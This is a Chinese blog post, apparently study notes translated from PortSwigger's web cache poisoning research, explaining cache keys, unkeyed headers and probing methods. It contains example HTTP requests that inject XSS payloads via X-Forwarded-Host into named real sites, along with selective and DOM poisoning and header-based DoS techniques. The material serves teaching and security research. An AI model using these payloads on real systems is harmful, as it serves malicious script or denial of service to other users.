WEB缓存中毒

最新推荐文章于 2024-09-05 17:32:57 发布
最新推荐文章于 2024-09-05 17:32:57 发布
阅读量894 收藏 19
点赞数 29
文章标签： 前端 缓存
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/RuanJian_GC/article/details/139031892
版权

WEB缓存中毒

本文 翻译整理自实用的web缓存中毒，记录仅作个人学习使用，侵删

缓存中毒（上）

Caching 101

Web缓存位于用户和应用程序服务器之间，它们保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Cache keys

每当缓存收到一个资源的请求时，它需要决定是否已经保存了这个确切资源的副本，并可以用它来回复请求，还是需要将请求转发给应用服务器。逐字节匹配不现实，这就出现了缓存键解决问题~~（通常使用request-line和user-agent作为缓存键）~~

GET /blog/post.php?mobile=1 HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 … Firefox/57.0  
Cookie: language=pl;  
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 … Firefox/57.0  
Cookie: language=en;  
Connection: close

在上述请求中，使用了HTTP方法GET和主机名example.com 以及请求路径/blog/post.php 和查询字符串?mobile=1来作为缓存建，可想而知，该页面将以错误的语言提供给第二个访问者

这暗示了一个问题–由非缓存建触发的响应中的任何差异都可能被存储并提供给其他用户

补充：
缓存通过使用缓存键（cache keys）的概念来解决这个问题 - 这是 HTTP 请求的一些特定组件，用于完全标识被请求的资源

缓存键通常包括用于唯一标识资源的以下元素：

1. **HTTP方法 (HTTP Method):** 这表示请求的类型，例如 GET、POST、PUT 或 DELETE。

2. **主机名 (Host Name):** 表示请求资源的主机名或域名，用于定位资源的来源。

3. **路径 (Path):** 表示请求资源的路径，即 URL 中主机名之后的部分。

4. **查询字符串 (Query String):** 表示查询参数，如果请求中包含查询参数，它们也会被包括在缓存键中。

Cache Poisoning

Web缓存中毒的目的是发送导致有害响应的请求，这些响应被保存该高速缓存中并提供给其他用户。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. HTTP头等非键控输入
  2. HTTP响应拆分
  3. 请求走私

Methodology

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 识别和评估非缓存建输入（Param Miner）
  2. 从后端服务器获取有害响应~~(如果一个输入在没有被正确清理的情况下被反映在来自服务器的响应中，或者被用于动态生成其他数据，那么这就是Web缓存中毒的潜在入口点。)~~
  3. 使响应缓存~~（是否缓存响应取决于各种因素，例如文件扩展名、内容类型、路由、状态代码和响应头。您可能需要花一些时间来处理不同页面上的请求，并研究该高速缓存的行为。一旦您知道如何缓存包含恶意输入的响应，就可以将漏洞攻击传递给潜在的受害者。）~~

实例分析

XSS
  1. 识别和评估非缓存建输入（Param Miner）

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 从后端服务器获取有害响应
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    在被自己的服务器上 将指向的脚本设为xss攻击脚本
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
  2. 使响应缓存
    X-Cache: hit 响应来自缓存
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
Basic Poisoning
  1. 找非缓存键
GET /en?cb=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host:      **canary** 
  
HTTP/1.1 200 OK  
Cache-Control: public, no-cache  
…  
<meta property="og:image" content="https://  **canary **  /cms/social.png" />
  1. 评估是否可利用
GET /en?dontpoisoneveryone=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host:     **a."><script>alert(1)</script> **
  
HTTP/1.1 200 OK  
Cache-Control: public, no-cache  
…  
<meta property="og:image" content="https://   **a."><script>alert(1)</script>**  "/>
  1. 检查此响应是否已存储在缓存中，以便将其传递给其他用户
GET /en?dontpoisoneveryone=1 HTTP/1.1  
Host: www.redhat.com  
  
HTTP/1.1 200 OK  
…  
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
Discreet poisoning
  1. 发送大量请求保证缓存，方法几乎不可用
  2. 逆向目标的缓存到期系统并通过浏览文档和监控网站来预测准确的到期时间来避免这个问题，但这听起来就很难。
  3. 响应协议头“Age”和“max-age”分别是当前响应的时间和它将过期的时间
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
Selective Poisoning

“Vary” ：赋予的值代表缓存键.

GET / HTTP/1.1  
Host: redacted.com  
User-Agent: Mozilla/5.0 … Firefox/60.0  
X-Forwarded-Host: a"><iframe οnlοad=alert(1)>  
  
HTTP/1.1 200 OK  
X-Served-By: cache-lhr6335-LHR  
Vary: User-Agent, Accept-Encoding  
…  
<link rel="canonical" href="https://a">a<iframe οnlοad=alert(1)>  
</iframe>

Vary头告诉我们，我们的User-Agent可能是该高速缓存键的一部分，手动测试证实了这一点。这意味着，由于我们声称使用Firefox 60，我们的漏洞将只提供给其他Firefox 60用户。我们可以使用流行的用户代理列表来确保大多数访问者收到我们的漏洞，但这种行为给了我们更多选择性攻击的选择。如果你知道他们的用户代理，你就有可能针对特定的人进行攻击，甚至可以隐藏自己的网站监控团队。

DOM Poisoning

利用未加密的输入并不总是像写入XSS Payload一样容易。如以下请求：

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
<body data-site-root="https://canary/">

我们已经控制了’data-site-root’属性，但我们不能突破以使用XSS，并且不清楚这个属性甚至用于什么。为了找到答案，我在Burp中创建了一个匹配并替换的规则，为所有请求添加了“X-Forwarded-Host：id.burpcollaborator.net”协议头，然后浏览了该站点。当加载某些页面时，Firefox会将JavaScript生成的请求发送到我的服务器：

GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net

该路径表明，在网站的某个地方，有一些JavaScript代码使用data-site-root属性来决定从哪里加载一些国际数据。我试图通过获取https://catalog.data.gov/api/i18n/en 来找出这些数据应该是什么样的，但只是收到了一个空的JSON响应。幸运的是，将’en’改为’es’拿到了一个线索：

GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov

HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}

该文件包含用于将短语翻译为用户所选语言的地图。通过创建我们自己的翻译文件并使缓存投毒，我们可以将短语翻译变成漏洞：

GET  /api/i18n/en HTTP/1.1
Host: portswigger-labs.net

HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}

最终的结果，任何查看包含“显示更多”文字的网页的人都会被利用。

到此为止 ，更多内容请看paper

缓存中毒（下）

Cache key flaws

在实践中，许多网站和CDN在保存该高速缓存键中时对键控组件执行各种转换。这可能包括：

  • Excluding the query string 排除查询字符串
  • Filtering out specific query parameters 过滤出特定查询参数
  • Normalizing input in keyed components 规范化关键帧零部件中的输入

基于写入该高速缓存键的数据和传递到应用程序代码的数据之间的差异，缓存密钥缺陷可被利用来通过最初可能看起来不可用的输入（缓存建）来毒害该高速缓存。

Cache probing methodology

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. Identify a suitable cache oracle 确定合适的缓存oracle
  2. Probe key handling 探测键处理
  3. Identify an exploitable gadget识别可利用的小工具
Identify a suitable cache oracle

缓存oracle只是提供有关该高速缓存行为的反馈的页面或端点。这需要是可缓存的，并且必须以某种方式指示您是接收到缓存的响应还是直接从服务器接收到的响应。这种反馈可以采取各种形式，例如：

  • An HTTP header that explicitly tells you whether you got a cache hit
    一个HTTP标头，明确告诉您是否有缓存命中
  • Observable changes to dynamic content 动态内容的可观察变化
  • Distinct response times 独特的响应时间

理想情况下，该高速缓存oracle还将在响应中反映整个URL和至少一个查询参数。这将更容易注意到该高速缓存和应用程序之间的解析差异，这将有助于以后构建不同的漏洞。

查阅相应的文档。这可以包含关于如何构造默认缓存键的信息。您甚至可能会偶然发现一些方便的提示和技巧，例如允许您直接查看该高速缓存键的功能。例如，基于Akamai的网站可能支持标头Pragma: akamai-x-get-cache-key，您可以使用该标头在响应标头中显示该高速缓存键：

GET /?param=1 HTTP/1.1 
Host: innocent-website.com 
Pragma: akamai-x-get-cache-key 


HTTP/1.1 200 
OK X-Cache-Key: innocent-website.com/?param=1
Probe key handling

测试更改缓存建的值 看是否改变响应

  1. 正常请求
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com/en 
Cache-Status: miss
  1. 改变Host的端口
GET / HTTP/1.1 
Host: vulnerable-website.com:1337 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss
  1. 缓存后：
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: hit
Identify an exploitable gadget
  1. 反射XSS/self-xss -> 存储xss
  2. 开放重定向 -> 反射性xss/DOS/重定向恶意链接
  3. waf拦截的铭感词 -> DOS
  4. 允许利用资源文件中的动态内容，如JS和CSS。
  5. 利用依赖于浏览器不会发送的格式错误的请求的“不可利用”漏洞。
  6. …

实例

Unkeyed port

高速缓存系统将解析报头并从该高速缓存键中排除端口

  1. 正常请求
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com/en 
Cache-Status: miss
  1. 改变Host的端口
GET / HTTP/1.1 
Host: vulnerable-website.com:1337 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss
  1. 缓存后：
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: hit
Unkeyed query string

最常见的缓存键转换之一是排除整个查询字符串

Detecting an unkeyed query string

如果响应显式地告诉您是否命中了缓存，那么这种转换就相对容易发现，但是如果没有呢？很难知道您是在与该高速缓存还是服务器通信。

  1. 可以通过在缓存建添加不干扰应用程序行为键值，来判断是否交互
Accept-Encoding: gzip, deflate, cachebuster 
Accept: */*, text/cachebuster 
Cookie: cachebuster=1 
Origin: https://cachebuster.vulnerable-website.com
  1. 如果使用Param Miner，还可以选择“Add static/dynamic cache buster”和“Include cache buster in header”选项。然后，它将自动添加一个缓存buster到您使用Burp的手动测试工具发送的任何请求中的常用键控头。
  2. 查看该高速缓存和后端规范化请求路径的方式之间是否存在任何差异。由于路径几乎可以保证是键控的，因此有时可以利用这一点发出具有不同键的请求，但这些请求仍然会命中同一个端点。例如GET /
Apache: GET //   
Nginx:  GET /%2F   
PHP:  GET /index.php/xyz
Exploiting an unkeyed query string

这种攻击依赖于诱导受害者访问恶意制作的URL。然而，通过无键查询字符串该高速缓存将导致有效负载被提供给访问原本是完全正常的URL的用户。这有可能影响更多的受害者，而攻击者没有进一步的互动。
`xss/别的什么。。。。。``

Unkeyed query parameters

一些网站只排除与后端应用程序不相关的特定查询参数，例如用于分析或提供定向广告的参数。像utm_content这样的UTM参数是在测试期间检查的良好候选。

Cache parameter cloaking

Tools

Param Miner

  1. Guess header
  2. Issue

Paper

实用的web缓存中毒
web缓存中毒导致的dos
CPDoS: Cache Poisoned Denial of Service
新的web缓存中毒

WEB缓存欺骗

HTTP头

HTTP头本身作用缓存中毒应用
X-Forwarded-Port重定向端口定向未知端口DOS
X-Forwarded-SSL识别协议覆盖某些页面，并回复“Contradictory scheme header
Transfer-Encoding覆盖某些页面，501
Accept-Encoding
Range: bytes=cow拒绝访问加载JavaScript文件，以引起400响应
Accept, Upgrade, [Origin](https://nathandavison.com/blog/corsing-a-denial-of-service-via-cache-poisoning) Max-Forwards

CDN特性

Scikit-learn
关注
《WEB安全渗透测试》（29）记一次HOST头投毒漏洞
午夜安全
09-02 1287
Http请求头信息里面会带有一个Host字段，这个字段是做什么的？我们知道一个IP可以对应多个域名，而一般一个服务器上放多个网站也是很常见的，那么就会有一个问题，我们的多个域名都解析到了同一台服务器上，怎么每次根据域名显示不同的网站内容呢？Host头就出现了，我们通过它可以区分访问的是哪个网站，也就是说web服务器使用Host头的值来将请求分派到指定的网站或web应用程序之上。Win64;x64;q=0.01。
翻译+笔记：web缓存投毒
m0_65129142的博客
12-15 1065
Introduction to web cache poisoning 写在开头：具体实践还是要做题。题目没有刷到这个专题，先做阅读了解。 英语水平有限，翻译欠佳，请各位多多包涵。也欢迎指正。 web caching 和客户端缓存类似，客户端缓存：暂时地保存图片到本地，下次访问便会很快。 内容交付链下， web服务器，中间系统，内容交付网络（CNDs）都被用于web缓存，以应对多个客户端请求（无需每次建索原始内容）。有利于负载均衡。 如图，左边为client，中间为caching server，最右为web
缓存投毒之CPDOS
最新发布
2401_83799022的博客
09-05 1009
HTTP 请求头溢出技术，顾名思义，是超出请求头的最大限制，但是在HTTP 标准中并没有规定此项，所以所谓的HTTP 请求头大小限制，都是服务器或者框架自己定义的，初衷是用来加快请求速度和防止一些过大的请求头而导致的拒绝服务攻击，但是CDN和服务器对请求头大小的处理差异导致了CPDOS漏洞的产生，例如，Apache HTTPD等服务器和代理设定了大约8,192字节的限制，而Amazon Cloudfront CDN允许的头部大小可达到20,480字节。下面将使用一些例子来介绍关于缓存投毒的相关技术。
PortSwigger web缓存中毒（Cache Poisoning）
weixin_42451330的博客
06-12 1808
Web缓存中毒（Web Cache Poisoning）是一种攻击技术，攻击者通过操纵Web应用程序的缓存系统，将恶意或欺骗性内容注入到合法的缓存中，以欺骗用户或绕过安全控制。Web缓存中毒的原理是利用缓存服务器在接收到请求后，将响应保存在缓存中并将相同响应返回给后续请求的用户。攻击者通过在请求中操纵参数、头部或URL等，使缓存服务器错误地将恶意或欺骗性响应存储在缓存中。当其他用户发起相同请求时，缓存服务器将返回被注入的恶意响应，从而达到攻击的目的。
【由浅入深_打牢基础】WEB缓存投毒（上）
em.....
06-11 1073
微信公众号：小惜渗透，欢迎大佬一起交流进步简单的来说，就是利用缓存将有害的HTTP响应提供给用户什么是缓存，这里借用Burp官方的一张图来说，就是当一个用户去发起一个请求的时候，会经过缓存，但是缓存中如果不存在的话，后端才会响应并将其添加到缓存，之后的用户如果发送等效请求的话，会直接从缓存中获取。如上所说，那么后端怎么判断我们两个用户的请求是等效的呢？这里我们要知道一个东西叫缓存键（cache key），预先定义的请求头中的一些键作为缓存键，只要这些缓存键的值一样后端就认为两个包是等效的，那么头部的其它键就
burpsuit 靶场(Web cache poisoning)
wanan的博客
01-23 422
burpsuit 靶场(Web cache poisoning)
portswigger带有未键标头的 Web 缓存中毒理解
qq_44881113的博客
03-30 401
1 进入实验室 https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header 2 抓包，刷新页面， 在响应包里，我们注意到X-Cache标头 该标头反应的是，缓存是否被名中 （从HTTP响应头看各家CDN缓存技术） via ，x-cache，X-Cache-Lookup，X-Via，X-Via-CDN，Vip-Ca
Web缓存中毒（web cache poisoning）学习笔记
汗的博客
05-05 4436
笔者burpsuite的在线安全学院的ssti学习笔记。限于本人水平，笔记质量不是很高，假如有看到的大佬轻喷，很多地方是Google翻译的。 首先推荐篇翻译的文章，方便理解 #先知社区上师傅翻译的：实战Web缓存中毒 https://xz.aliyun.com/t/2585#toc-21 #原文 https://portswigger.net/blog/practical-web-cache-po...
Web缓存攻击者
03-03
1. **缓存中毒**：攻击者通过发送精心设计的请求，使恶意内容被缓存，当其他用户访问相同URL时，会接收到这些恶意数据。这可能导致钓鱼攻击、数据泄露或其他安全问题。 2. **跨站缓存攻击（CSHA）**：这种攻击发生...
浏览器缓存中的人：通过浏览器缓存中毒持续进行HTTPS攻击
04-03
浏览器缓存中的人：通过浏览器缓存中毒持续进行HTTPS攻击
Web缓存投毒实战（五）
woliuqiangdong的博客
02-03 491
　　内部缓存投毒 　　Drupal通常与Varnish等第三方缓存一起使用，但它也包含默认启用的内部缓存。此缓存知道X-Original-URL协议头并将其包含在其缓存键中，但错误的是包含协议头中查询字符串： 　　 　　之前的攻击让我们用另一个路径替换，这能让我们覆盖上面的查询字符串： 　　 　　离目标更进一步，但作用有限 —— 我们需要第三种方法。 　　Drupal开启重定向 　　在阅读Drupal的 URL-override代码时，我注意到一个极其危险的功能—— 在所有重定向响应中
Web缓存投毒
LISTONE的个人博客
05-16 1001
什么是web缓存投毒（web cache poisoning） Web缓存投毒是利用Web服务器和缓存的行为，将有害的HTTP响应提供给其他用户。 Web缓存投毒分为两个阶段： 攻击者必须弄清楚如何从无意中包含某种危险payload的后端服务器引起响应。 成功后，他们需要确保将他们的响应缓存起来并随后提供给预期的受害者。 有毒的Web缓存有可能成为变成多种不同攻击，利用XSS，JavaScript注入，开放重定向等漏洞的破坏性手段。 Web缓存工作原理 如果服务器必须分别对每个HTTP请求发送新的响应，
【前端安全】web缓存投毒
'Ablaze 的专栏
01-09 3115
核心概念 缓存 web缓存位于用户和应用程序服务器之间，用于保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源： 缓存技术旨在通过减少延迟来提升页面加载速度，还可以减少应用程序服务器上的负载，同时达到防止Dos攻击的目的。 缓存键 缓存的概念可能听起来简单明了，但它隐藏了一些风险的假设。 每当缓存服务收到对资源的请求时，它需要确定： 是否已保存此指定资源的副本 是否可以使用该副本进行响应 是否需转发给应用程序服务器 确定两个请求是否正在尝试加载相同的资源可能是很棘手的问
tesla web缓存中毒导致的dos
实践出真理
05-20 650
dos。
ARP缓存中毒
04-24 2257
ARP缓存中毒 　　在本文中我们将主要探讨ARP缓存中毒，这也是现代中间人攻击中最早出现的攻击形式，ARP缓存中毒(有时也被称为ARP中毒路由)能够让与受害用户在相同子网的攻击者窃取用户的所有网络留恋。我们首先讨论这种攻击形式是因为，它是最容易执行的攻击形式，但也是最有效的攻击形式。 　　正常ARP通信 　　ARP协议的主要目的在于简化OSI模型第二层和第三层间地址的翻译。第二层(也就是数据
Web缓存投毒对多个HTTP头结合攻击实践
LISTONE的个人博客
05-16 506
Web缓存投毒对多个HTTP头结合攻击实践 某些网站容易受到简单的Web缓存中毒攻击。但是，有一些其他网站需要攻击者使用更复杂的攻击，并且仅在攻击者能够操纵多个 unkeyed 输入的请求时才变得脆弱。 例如，假设一个网站要求使用HTTPS进行安全通信。为了强制执行此操作，如果收到使用其他协议的请求，则网站会动态生成一个使用HTTPS的自身重定向： GET /random HTTP/1.1 Host: innocent-site.com X-Forwarded-Proto: http HTTP/1.1 3
url重定向漏洞危害_BlackHat2020议题之Web缓存投毒_小白攻防指南
2401_84915584的博客
06-12 806
周末闲着没事就来学习下新的思路,文章很长，花了一天时间才码出来，所以，你懂我意思吧对了，周末打算出去走走，所以就不更文了本文将会介绍Web缓存投毒的各种骚姿势以及利用链
网络攻防技术精要：虚拟网络与安全防护
ARP攻击是局域网中的常见威胁，理解其原理和防范方法（如ARP缓存中毒）同样重要。 会话劫持是指攻击者拦截并控制通信会话，学习如何识别和防御这种攻击是网络安全中的关键一环。通过深入理解和实践这些知识点，可以...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Scikit-learn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值